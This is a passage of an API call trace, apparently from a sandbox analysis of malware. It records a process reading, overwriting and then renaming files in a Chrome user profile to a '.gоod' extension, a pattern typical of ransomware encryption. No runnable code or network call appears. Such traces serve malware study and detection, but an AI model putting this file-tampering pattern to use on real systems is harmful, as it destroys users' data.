ftCreationTime.dwLowDateTime=0x54135456, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x54135456, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xec45ead4, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0171.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0171.913] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal", lpFilePart=0x0) returned 0x58 [0171.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0171.913] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0171.913] GetFileType (hFile=0x80c) returned 0x1 [0171.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0171.913] GetFileType (hFile=0x80c) returned 0x1 [0171.913] GetFileSize (in: hFile=0x80c, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x0 [0171.914] CloseHandle (hObject=0x80c) returned 1 [0173.147] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal", lpFilePart=0x0) returned 0x58 [0173.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0173.147] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs-journal"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0173.147] GetFileType (hFile=0x7c8) returned 0x1 [0173.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0173.147] GetFileType (hFile=0x7c8) returned 0x1 [0173.147] WriteFile (in: hFile=0x7c8, lpBuffer=0x358d7b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x358d7b8*, lpNumberOfBytesWritten=0x1f6ea848*=0x10, lpOverlapped=0x0) returned 1 [0173.148] CloseHandle (hObject=0x7c8) returned 1 [0173.148] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal", lpFilePart=0x0) returned 0x58 [0173.148] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal.gоod", lpFilePart=0x0) returned 0x5d [0173.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0173.149] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs-journal"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54135456, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x54135456, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x636c07b2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0173.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0173.149] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs-journal"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs-journal.gоod")) returned 1 [0173.149] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences", lpFilePart=0x0) returned 0x49 [0173.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0173.150] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\preferences"), fInfoLevelId=0x0, lpFileInformation=0x358ea70 | out: lpFileInformation=0x358ea70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c545a2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa792330, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa7b85d6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x206e6)) returned 1 [0173.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0173.150] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences", lpFilePart=0x0) returned 0x49 [0173.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0173.150] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0173.150] GetFileType (hFile=0x7c8) returned 0x1 [0173.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0173.151] GetFileType (hFile=0x7c8) returned 0x1 [0173.151] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1000 [0173.151] ReadFile (in: hFile=0x7c8, lpBuffer=0x358ee88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea9d8, lpOverlapped=0x0 | out: lpBuffer=0x358ee88*, lpNumberOfBytesRead=0x1f6ea9d8*=0x1000, lpOverlapped=0x0) returned 1 [0173.152] CloseHandle (hObject=0x7c8) returned 1 [0173.152] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences", lpFilePart=0x0) returned 0x49 [0173.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0173.152] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0173.153] GetFileType (hFile=0x7c8) returned 0x1 [0173.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0173.153] GetFileType (hFile=0x7c8) returned 0x1 [0173.153] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x206e6 [0173.153] WriteFile (in: hFile=0x7c8, lpBuffer=0x3590330*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea8f8, lpOverlapped=0x0 | out: lpBuffer=0x3590330*, lpNumberOfBytesWritten=0x1f6ea8f8*=0x10, lpOverlapped=0x0) returned 1 [0173.154] CloseHandle (hObject=0x7c8) returned 1 [0173.154] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences", lpFilePart=0x0) returned 0x49 [0173.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0173.154] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0173.154] GetFileType (hFile=0x7c8) returned 0x1 [0173.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0173.154] GetFileType (hFile=0x7c8) returned 0x1 [0173.154] ReadFile (in: hFile=0x7c8, lpBuffer=0x35925f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea988, lpOverlapped=0x0 | out: lpBuffer=0x35925f0*, lpNumberOfBytesRead=0x1f6ea988*=0x1000, lpOverlapped=0x0) returned 1 [0173.182] CloseHandle (hObject=0x7c8) returned 1 [0173.182] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences", lpFilePart=0x0) returned 0x49 [0173.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0173.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0173.183] GetFileType (hFile=0x7c8) returned 0x1 [0173.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0173.183] GetFileType (hFile=0x7c8) returned 0x1 [0173.183] WriteFile (in: hFile=0x7c8, lpBuffer=0x3591348*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eaa38, lpOverlapped=0x0 | out: lpBuffer=0x3591348*, lpNumberOfBytesWritten=0x1f6eaa38*=0x1010, lpOverlapped=0x0) returned 1 [0173.183] CloseHandle (hObject=0x7c8) returned 1 [0173.183] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences", lpFilePart=0x0) returned 0x49 [0173.183] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences.gоod", lpFilePart=0x0) returned 0x4e [0173.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0173.183] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\preferences"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c545a2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa792330, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x6370ccd0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x206f6)) returned 1 [0173.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0173.183] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\preferences"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\preferences.gоod")) returned 1 [0173.184] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", lpFilePart=0x0) returned 0x51 [0173.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0173.184] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), fInfoLevelId=0x0, lpFileInformation=0x360fb18 | out: lpFileInformation=0x360fb18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5157d0ff, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5157d0ff, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5397926d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0173.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0173.184] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", lpFilePart=0x0) returned 0x51 [0173.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0173.184] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0173.184] GetFileType (hFile=0x7c8) returned 0x1 [0173.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0173.185] GetFileType (hFile=0x7c8) returned 0x1 [0173.185] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1000 [0173.185] ReadFile (in: hFile=0x7c8, lpBuffer=0x360ff70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea9d8, lpOverlapped=0x0 | out: lpBuffer=0x360ff70*, lpNumberOfBytesRead=0x1f6ea9d8*=0x1000, lpOverlapped=0x0) returned 1 [0173.657] CloseHandle (hObject=0x7c8) returned 1 [0173.657] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", lpFilePart=0x0) returned 0x51 [0173.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0173.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0173.657] GetFileType (hFile=0x7c8) returned 0x1 [0173.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0173.657] GetFileType (hFile=0x7c8) returned 0x1 [0173.657] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x4000 [0173.658] WriteFile (in: hFile=0x7c8, lpBuffer=0x35b9c60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea8f8, lpOverlapped=0x0 | out: lpBuffer=0x35b9c60*, lpNumberOfBytesWritten=0x1f6ea8f8*=0x10, lpOverlapped=0x0) returned 1 [0173.658] CloseHandle (hObject=0x7c8) returned 1 [0173.658] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", lpFilePart=0x0) returned 0x51 [0173.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0173.658] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0173.658] GetFileType (hFile=0x7c8) returned 0x1 [0173.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0173.658] GetFileType (hFile=0x7c8) returned 0x1 [0173.658] ReadFile (in: hFile=0x7c8, lpBuffer=0x35bbf40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea988, lpOverlapped=0x0 | out: lpBuffer=0x35bbf40*, lpNumberOfBytesRead=0x1f6ea988*=0x1000, lpOverlapped=0x0) returned 1 [0173.937] CloseHandle (hObject=0x7c8) returned 1 [0173.937] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", lpFilePart=0x0) returned 0x51 [0173.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0173.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0173.937] GetFileType (hFile=0x7c8) returned 0x1 [0173.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0173.937] GetFileType (hFile=0x7c8) returned 0x1 [0173.937] WriteFile (in: hFile=0x7c8, lpBuffer=0x33809f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eaa38, lpOverlapped=0x0 | out: lpBuffer=0x33809f8*, lpNumberOfBytesWritten=0x1f6eaa38*=0x1010, lpOverlapped=0x0) returned 1 [0173.937] CloseHandle (hObject=0x7c8) returned 1 [0173.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", lpFilePart=0x0) returned 0x51 [0173.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.gоod", lpFilePart=0x0) returned 0x56 [0173.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0173.938] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5157d0ff, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5157d0ff, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x63e36227, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4010)) returned 1 [0173.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0173.938] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db.gоod")) returned 1 [0173.939] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal", lpFilePart=0x0) returned 0x59 [0173.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0173.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db-journal"), fInfoLevelId=0x0, lpFileInformation=0x33d46a8 | out: lpFileInformation=0x33d46a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517348e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517348e4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x539e223d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0174.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0174.391] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal", lpFilePart=0x0) returned 0x59 [0174.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0174.391] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0174.391] GetFileType (hFile=0x7c8) returned 0x1 [0174.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0174.392] GetFileType (hFile=0x7c8) returned 0x1 [0174.392] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x0 [0174.392] CloseHandle (hObject=0x7c8) returned 1 [0174.429] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal", lpFilePart=0x0) returned 0x59 [0174.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0174.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db-journal"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0174.429] GetFileType (hFile=0x7c8) returned 0x1 [0174.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0174.429] GetFileType (hFile=0x7c8) returned 0x1 [0174.430] 